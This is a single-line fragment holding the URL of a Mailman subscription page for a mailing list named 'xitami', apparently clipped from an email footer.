http://lists.xitami.org/mailman/listinfo/xitami >